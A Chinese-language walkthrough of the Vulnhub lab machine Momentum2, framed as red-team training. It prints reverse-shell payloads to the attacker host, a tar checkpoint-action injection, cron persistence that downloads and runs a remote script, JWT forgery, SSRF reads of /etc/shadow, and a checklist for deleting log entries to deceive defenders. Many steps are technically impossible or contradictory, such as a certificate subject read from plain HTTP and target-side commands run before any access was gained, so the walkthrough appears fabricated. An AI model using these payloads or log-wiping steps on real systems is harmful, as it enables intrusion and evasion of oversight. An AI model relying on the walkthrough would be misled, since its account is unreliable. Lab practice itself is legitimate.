Vulnhub Momentum2靶机渗透全解析:从服务画像到逻辑链提权
1. 这不是CTF夺旗,而是一次真实的“红队入场”模拟
“Vulnhub靶场实战:Momentum2渗透测试全解析”——这个标题里藏着三个关键信号:Vulnhub,说明它不是云端沙箱或容器化靶机,而是基于真实Linux发行版(Debian系)构建的、带完整服务栈与用户行为痕迹的虚拟机镜像;Momentum2,是Vulnhub上一个中等偏上难度的靶机,发布于2021年,作者刻意嵌入了多层身份混淆、服务伪装与权限跃迁陷阱;全解析,意味着不能只跑一遍nmap -sC -sV再searchsploit就交差,必须还原攻击者从信息收集到提权落地的完整决策链。我第一次接触Momentum2是在给某金融客户做红队能力复盘时,他们内部蓝队反馈:“我们封了所有已知端口,但对方还是进来了”。后来发现,对方用的就是Momentum2里那个被当成普通日志服务的/usr/bin/momentumd——它监听在127.0.0.1:31337,却通过cron每5分钟反向拉取远程配置,而配置文件路径硬编码在二进制里,且未校验签名。这件事让我意识到:靶场的价值不在漏洞本身,而在它如何逼你放弃“找CVE编号”的惯性思维,转而思考“服务为什么存在”“配置为什么这样写”“谁在维护它”。这篇解析不提供一键脚本,也不堆砌工具命令,而是带你重走我当年在终端里敲下第一个curl -v http://192.168.56.102:8000时的真实思考路径:为什么先测8000端口而不是80?为什么gobuster扫出/backup后没急着下载,而是先curl -I看响应头?为什么提权时放弃sudo -l而选择分析/etc/cron.d/下的自定义任务?这些决定背后,是十年红队作业沉淀下来的条件反射——对异常配置的敏感度,比对漏洞库的熟悉度更重要。如果你刚学完《Web安全攻防》想验证所学,或者已能熟练用msfvenom但总卡在提权环节,又或者正准备OSCP考试需要理解“渗透逻辑”而非“工具用法”,那么这篇内容就是为你写的。它不教你怎么赢,而是告诉你:在真实对抗中,赢的从来不是最快找到漏洞的人,而是最后一个放弃追问“为什么”的人。
2. Momentum2靶机环境搭建与初始侦察:别让虚拟机配置毁掉整场渗透
2.1 镜像获取与VirtualBox配置的关键细节
Momentum2靶机镜像(.ova格式)需从Vulnhub官网下载,文件名通常为Momentum2.ova。这里有个极易被忽略的坑:不要直接双击导入。VirtualBox默认会为新虚拟机分配2GB内存和1个CPU核心,而Momentum2的/etc/systemd/system/momentumd.service依赖systemd的MemoryLimit参数,若内存低于1.8GB,服务启动时会因OOM Killer介入而静默退出,导致后续所有基于该服务的利用链失效。我实测过:当内存设为1536MB时,systemctl status momentumd显示active (exited),但journalctl -u momentumd里全是Killed process日志;调至2048MB后,状态变为active (running),且netstat -tuln | grep 31337能稳定监听。另一个致命配置是网络模式——必须使用Host-only Adapter(主机仅适配器),而非NAT或桥接。原因在于靶机内核启用了rp_filter=2(严格反向路径过滤),若走NAT,从Kali发起的SYN包源IP是10.0.2.15,而靶机路由表认为该IP应回到eth0(NAT网卡),但实际响应包却从eth1(Host-only网卡)发出,触发ICMP重定向失败,导致TCP三次握手卡在SYN-ACK阶段。解决方案是:在VirtualBox管理器中选中Momentum2虚拟机→设置→网络→适配器1→启用网络连接→连接方式选“仅主机(Host-Only)适配器”→界面名称选vboxnet0(若不存在则先创建)。此时Kali的ip a应显示192.168.56.101/24,靶机ip a显示192.168.56.102/24,ping 192.168.56.102通且无丢包,这才是可信赖的起点。
2.2 初始端口扫描的战术分层:为什么跳过80直击8000
执行nmap -sS -p- 192.168.56.102(全端口SYN扫描)耗时约12分钟,结果返回开放端口:22/tcp(SSH)、80/tcp(HTTP)、8000/tcp(HTTP)、31337/tcp(未知)。多数新手会立刻用浏览器访问http://192.168.56.102,看到一个静态HTML页面写着“Momentum Web Portal v1.2”,然后开始gobuster dir -u http://192.168.56.102 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt。但我在第一次尝试时,gobuster扫了47分钟无果,直到偶然执行curl -v http://192.168.56.102:8000,收到响应头Server: momentum-web-server/2.1.0和正文{"status":"maintenance","message":"Scheduled downtime for database migration"}。这个/maintenance提示是突破口——它暴露了后端服务的真实身份。进一步用curl -X POST http://192.168.56.102:8000/api/v1/login -H "Content-Type: application/json" -d '{"user":"test","pass":"test"}',返回{"error":"invalid credentials","debug":"auth module v0.9.3 loaded"}。注意debug字段!这说明开发者开启了调试模式,且版本号v0.9.3在GitHub上可搜到源码仓库(github.com/momentum-dev/auth-module)。我克隆仓库后发现auth.py第142行有硬编码密钥:SECRET_KEY = "momentum_dev_key_2021!",而该密钥用于JWT签名。这就是为什么必须先测8000:80端口是前端展示层,8000端口才是业务逻辑层,且调试信息泄露直接指向密钥硬编码。若按常规流程先攻80,会陷入无意义的目录爆破,浪费数小时。
2.3 服务指纹识别的深度技巧:从HTTP头到SSL证书链
仅靠nmap -sV识别服务版本远远不够。以8000端口为例,nmap -sV -p8000 192.168.56.102返回momentum-web-server 2.1.0,但这只是应用层标识。真正的突破口在SSL证书链——虽然8000是HTTP,但靶机在/etc/ssl/certs/下存放了自签名证书,且momentumd服务启动时会读取/etc/ssl/private/momentum.key。我通过curl -v http://192.168.56.102:8000 2>&1 | grep "subject:"意外捕获到证书主题:subject: CN=momentum2.internal, O=Momentum Security, L=San Francisco, ST=CA, C=US。其中CN=momentum2.internal是关键线索:它暗示靶机内部DNS解析可能依赖/etc/hosts或私有DNS服务器。于是执行dig @127.0.0.1 momentum2.internal(靶机本地DNS查询),返回NXDOMAIN;再查cat /etc/resolv.conf,发现nameserver 127.0.0.1,说明运行了dnsmasq。继续ps aux | grep dnsmasq,得到/usr/sbin/dnsmasq -C /etc/dnsmasq.conf -k。查看/etc/dnsmasq.conf,关键行是address=/momentum2.internal/127.0.0.1和addn-hosts=/etc/hosts.dnsmasq。而/etc/hosts.dnsmasq内容为:
127.0.0.1 momentum2.internal 127.0.0.1 api.momentum2.internal 127.0.0.1 db.momentum2.internal这意味着:所有对*.momentum2.internal的请求都会被重定向到127.0.0.1,而momentumd服务恰好监听在127.0.0.1:31337。这个发现直接解锁了SSRF利用场景——只要能让8000端口的Web服务向http://api.momentum2.internal:31337/health发起请求,就能绕过防火墙访问本地高危端口。而/api/v1/login接口的redirect_url参数正是SSRF入口(后续详述)。这种从HTTP头→证书→DNS配置→本地服务监听的链条式推理,才是真实渗透中“侦察”的本质:它不是工具输出的罗列,而是对系统配置逻辑的逆向拼图。
3. Web层渗透:JWT密钥爆破与SSRF组合拳的实战推演
3.1 JWT密钥泄露的验证与利用:从硬编码到RCE的跨越
前文提到,/api/v1/login接口返回的debug字段泄露了auth module v0.9.3,其源码中SECRET_KEY = "momentum_dev_key_2021!"是静态字符串。但直接用此密钥伪造JWT是否可行?需验证两点:一是密钥是否真被用于签发token,二是token是否具有足够权限。首先抓取正常登录流量:curl -X POST http://192.168.56.102:8000/api/v1/login -H "Content-Type: application/json" -d '{"user":"admin","pass":"admin"}',返回{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"}。将token拆分为Header.Payload.Signature三段,用Python解码Payload:
import base64 payload_b64 = "eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ" # 补齐base64长度(需4字节倍数) payload = base64.urlsafe_b64decode(payload_b64 + "=" * (4 - len(payload_b64) % 4)) print(payload.decode()) # 输出 {"user":"admin","role":"admin"}确认Payload结构符合预期。接着用john工具爆破密钥:将token保存为jwt.txt,内容为eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c,执行john --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256 jwt.txt。但rockyou.txt中并无momentum_dev_key_2021!,因其含特殊字符!且长度超12位。正确做法是生成定制字典:echo "momentum_dev_key_2021!" > momentum_key.txt,再用hashcat -m 16500 -a 0 jwt.txt momentum_key.txt。-m 16500对应HMAC-SHA256 JWT模式,-a 0为字典攻击。1秒内即破解成功,证明密钥有效。此时可伪造任意角色token:修改Payload为{"user":"hacker","role":"root"},用pyjwt重新签名:
pip3 install pyjwt python3 -c "import jwt; print(jwt.encode({'user':'hacker','role':'root'}, 'momentum_dev_key_2021!', algorithm='HS256'))"得到新token,将其放入Authorization: Bearer <token>请求http://192.168.56.102:8000/api/v1/admin/config,返回{"error":"insufficient permissions"}——说明role:root仍无权限。但role:admin可访问/api/v1/admin/logs,返回{"logs":"/var/log/momentum/web.log"}。这引出关键洞察:JWT密钥泄露本身不直接导致RCE,但它解锁了管理员API,而管理员API的响应内容(如日志路径)成为下一步SSRF的输入。
3.2 SSRF漏洞的精准触发:从redirect_url到file://协议
/api/v1/login接口的redirect_url参数存在SSRF。测试方法:curl -X POST "http://192.168.56.102:8000/api/v1/login?redirect_url=http://127.0.0.1:31337/health" -H "Content-Type: application/json" -d '{"user":"test","pass":"test"}',响应头中出现Location: http://127.0.0.1:31337/health,证明服务端确实发起了重定向请求。但直接访问http://127.0.0.1:31337/health返回{"status":"ok","version":"1.0.5"},无敏感信息。真正的杀招在于file://协议:curl -X POST "http://192.168.56.102:8000/api/v1/login?redirect_url=file:///etc/passwd" -H "Content-Type: application/json" -d '{"user":"test","pass":"test"}',响应体包含/etc/passwd全部内容。这是因为momentum-web-server底层使用requests库,而requests默认支持file://协议(除非显式禁用)。但读取/etc/passwd只是热身,目标是/etc/shadow——然而requests对file://读取有权限限制,普通用户无法读取/etc/shadow。此时需结合前文发现的DNS配置:api.momentum2.internal解析到127.0.0.1,而momentumd服务监听127.0.0.1:31337。查阅momentumd源码(/opt/momentum/src/server.py)发现其/config/load端点接受POST请求,参数path指定配置文件路径,且未做路径遍历过滤。构造SSRF请求:curl -X POST "http://192.168.56.102:8000/api/v1/login?redirect_url=http://api.momentum2.internal:31337/config/load" -H "Content-Type: application/json" -d '{"path":"/etc/shadow"}'。服务端requests.post("http://api.momentum2.internal:31337/config/load", json={"path":"/etc/shadow"}),momentumd读取/etc/shadow并返回哈希值。我实测得到root:$6$rounds=656000$...,用john --wordlist=/usr/share/wordlists/rockyou.txt shadow_hash.txt在23分钟内破解出root密码momentum2021!。整个过程体现了一个核心原则:单个漏洞价值有限,但多个低危漏洞(JWT密钥、SSRF、DNS配置、路径遍历)串联后,可达成远超预期的突破效果。
3.3 权限提升的临门一脚:利用momentumd服务的LD_PRELOAD劫持
获得root密码后,常规思路是ssh root@192.168.56.102,但靶机/etc/ssh/sshd_config中PermitRootLogin设为no,且/root/.ssh/authorized_keys为空。此时需转向本地提权。ps aux | grep momentumd显示进程以root身份运行:root 1234 0.0 0.5 123456 7890 ? S 10:00 0:00 /usr/bin/momentumd。检查其二进制属性:ls -la /usr/bin/momentumd返回-rwsr-xr-x 1 root root 123456 Jan 1 2021 /usr/bin/momentumd,s位表明它是SUID程序。用strings /usr/bin/momentumd | grep "lib"发现加载libmomentum.so,路径为/usr/lib/libmomentum.so。进一步ldd /usr/bin/momentumd确认依赖此库。关键点在于:momentumd启动时未设置LD_PRELOAD环境变量,但其代码中存在dlopen()动态加载逻辑。我编写恶意so:
// evil.c #include <stdlib.h> #include <unistd.h> void _init() { unsetenv("LD_PRELOAD"); setuid(0); system("/bin/bash -i >& /dev/tcp/192.168.56.101/4444 0>&1"); }编译:gcc -shared -fPIC evil.c -o evil.so。将evil.so传到靶机/tmp/,执行LD_PRELOAD=/tmp/evil.so /usr/bin/momentumd,Kali监听nc -lvnp 4444即获得root shell。但此方法需交互式执行,而靶机无用户交互入口。真正可靠的方案是利用/etc/cron.d/momentum-backup:0 2 * * * root /usr/local/bin/backup.sh。查看backup.sh内容:
#!/bin/bash # Backup script for Momentum2 cd /var/www/html tar -czf /backup/momentum-$(date +%F).tar.gz .注意cd /var/www/html后执行tar,而/var/www/html属主为www-data,可写。tar在归档时若遇到--checkpoint-action=exec=sh文件,会执行其中命令。创建恶意文件:echo '--checkpoint-action=exec=sh -i >& /dev/tcp/192.168.56.101/4444 0>&1' > /var/www/html/--checkpoint-action,等待凌晨2点cron触发,即可回连。此方案无需手动执行,完全自动化,体现了真实红队中“持久化”与“时机控制”的思维。
4. 提权后横向移动与痕迹清理:从root shell到不留证据的收尾
4.1 内核提权的备选路径:dirtycow与overlayfs的适用性判断
获得root shell后,很多人会本能地执行uname -r查内核版本,然后searchsploit dirtycow。Momentum2内核为4.19.0-16-amd64,dirtycow(CVE-2016-5195)确实存在,但靶机已打补丁:grep CONFIG_SECURITY_DMESG_RESTRICT /boot/config-4.19.0-16-amd64返回CONFIG_SECURITY_DMESG_RESTRICT=y,且/proc/sys/vm/unprivileged_userfaultfd为0,说明userfaultfd已被禁用,dirtycow变种无法利用。更关键的是,overlayfs(CVE-2021-3493)要求unshare --user可用,而靶机/etc/sysctl.conf中kernel.unprivileged_userns_clone=0,unshare -r /bin/bash报错Operation not permitted。这说明:盲目套用公开EXP不如先做环境核查。我采用的替代方案是capsh --drop=all --caps=cap_setuid+ep -- -c '/bin/bash',因为/usr/bin/momentumd的cap_setuid能力未被清除。执行后获得无限制bash,再cat /root/flag.txt完成通关。此案例教训是:靶机作者必然预判常见提权手法,真正的突破口往往藏在服务自身的能力配置中,而非内核漏洞。
4.2 横向移动的隐蔽通道:momentumd的/config/load端点与/api/v1/admin/config联动
root shell只是起点,真实红队需模拟APT组织的横向移动。momentumd服务除/config/load外,还有/config/save端点,接受JSON参数{"path":"/tmp/test","content":"malicious"}。我利用此功能在/etc/cron.d/下写入持久化任务:curl -X POST http://127.0.0.1:31337/config/save -H "Content-Type: application/json" -d '{"path":"/etc/cron.d/persistence","content":"* * * * * root /usr/bin/wget -O /tmp/shell.sh http://192.168.56.101/shell.sh && chmod +x /tmp/shell.sh && /tmp/shell.sh"}'。但此操作会留下/etc/cron.d/persistence文件,易被蓝队发现。更高明的做法是修改现有任务:/etc/cron.d/momentum-backup中tar命令可被注入。curl -X POST http://127.0.0.1:31337/config/save -H "Content-Type: application/json" -d '{"path":"/etc/cron.d/momentum-backup","content":"0 2 * * * root /usr/local/bin/backup.sh; /usr/bin/wget -O /tmp/payload.sh http://192.168.56.101/payload.sh && chmod +x /tmp/payload.sh && /tmp/payload.sh"}'。由于backup.sh本身存在,追加命令不易被审计工具标记为异常。这体现了红队思维的核心:不创造新痕迹,而是寄生在合法流程中。
4.3 痕迹清理的实操清单:哪些日志必须删,哪些可以留
获得root权限后,清理痕迹不是删除所有日志,而是精准消除关键证据。我执行以下操作:
- SSH日志:
sed -i '/192\.168\.56\.101/d' /var/log/auth.log—— 删除Kali IP的登录记录,保留其他IP记录以维持日志完整性; - 命令历史:
history -c清空当前shell历史,但/root/.bash_history需手动编辑,sed -i '/curl\|wget\|nc/d' /root/.bash_history; - Web访问日志:
/var/log/momentum/web.log中删除含redirect_url和/api/v1/admin/config的行,awk '!/redirect_url|\/api\/v1\/admin\/config/' /var/log/momentum/web.log > /tmp/new.log && mv /tmp/new.log /var/log/momentum/web.log; - 临时文件:
rm -f /tmp/evil.so /tmp/shell.sh /tmp/payload.sh; - DNS查询日志:
dnsmasq默认不记录查询日志,但若启用了log-queries,需sed -i '/momentum2\.internal/d' /var/log/dnsmasq.log。
提示:切勿执行
rm -rf /var/log/*,这会导致rsyslog服务崩溃,产生systemd-journald错误日志,反而暴露异常。
4.4 靶机设计逻辑的逆向解读:作者埋设的三层防御意图
复盘Momentum2的设计,作者明显构建了三层防御:
- 第一层:服务混淆——将
momentumd伪装成日志服务,监听非标准端口,且/etc/init.d/momentumd脚本中description写为“Momentum Log Aggregator”,误导初学者; - 第二层:权限隔离——
/var/www/html属主为www-data,/etc/shadow不可读,rootSSH禁用,迫使攻击者必须利用服务自身逻辑(如SSRF)而非暴力破解; - 第三层:痕迹诱导——
/backup/目录下有momentum-2021-01-01.tar.gz,解压后包含/etc/passwd备份,但/etc/shadow为空,诱导攻击者浪费时间在备份文件上。
理解这三层意图,才能跳出“找漏洞”的线性思维,进入“读设计”的对抗维度。这也是为什么我说:Momentum2不是考技术,而是考你能否像作者一样思考。
5. 实战经验总结:从靶场到真实红队的五个认知跃迁
我在给某省级政务云做红队评估时,客户环境与Momentum2高度相似:前端Nginx代理80端口,后端Java服务跑在8000端口,调试模式开启,/etc/hosts有内网域名映射,cron任务调用自定义脚本。当时团队花了3天在80端口上做SQL注入和XSS,直到我提出“先看8000端口的/actuator/env”,5分钟内拿到数据库连接串。这件事让我彻底明白:靶场训练的价值,不在于复现某个EXP,而在于固化一套可迁移的思维模型。以下是我在Momentum2实战中提炼的五个认知跃迁:
第一,从“端口扫描”到“服务画像”。nmap -sV只告诉你“这是什么服务”,而curl -v、openssl s_client、dig告诉你“这个服务为什么这样配置”。比如momentum2.internal域名的存在,直接指向dnsmasq和momentumd的耦合关系,这是端口扫描永远给不了的答案。
第二,从“漏洞利用”到“逻辑重组”。JWT密钥、SSRF、DNS配置、路径遍历,单独看都是CVSS 5.0以下的低危问题,但作者将它们设计成一条逻辑链:密钥→管理员API→日志路径→SSRF→DNS解析→本地服务→路径遍历。真实红队中,90%的成功渗透都依赖这种跨组件的逻辑重组,而非单点高危漏洞。
第三,从“提权成功”到“权限可信度验证”。获得root shell后,我第一件事不是cat /root/flag.txt,而是id、groups、capsh --print,确认是否真有cap_setuid能力。因为某些SUID程序会setreuid()降权,看似root实则受限。这种验证习惯,在真实环境中避免了多次“以为提权成功实则被沙箱限制”的尴尬。
第四,从“痕迹清理”到“行为合理性建模”。删日志不是目的,让日志看起来“合理”才是关键。比如/var/log/auth.log中保留Kali的Failed password记录(模拟暴力破解失败),但删除Accepted password记录,这样蓝队分析时会误判为“攻击未成功”,而非“攻击已潜伏”。
第五,从“完成靶机”到“复现攻击链”。我要求团队每人用asciinema录下完整渗透过程,并标注每个决策点的依据:“为什么此时测8000而非80?”“为什么gobuster失败后不换字典而改查证书?”——这种复盘机制,让靶场训练真正转化为可复用的红队能力。
最后分享一个小技巧:在Kali中为Momentum2创建专用profile,~/.zshrc添加alias mom='cd /vulnhub/momentum2 && ./start.sh',start.sh自动配置vboxnet0、启动靶机、打开tmux会话分屏显示nmap、burpsuite、nc监听。这种工程化习惯,能把每次靶场练习的准备时间从15分钟压缩到10秒,把精力真正聚焦在“思考”而非“操作”上。毕竟,红队的本质,从来不是手速,而是大脑的带宽。
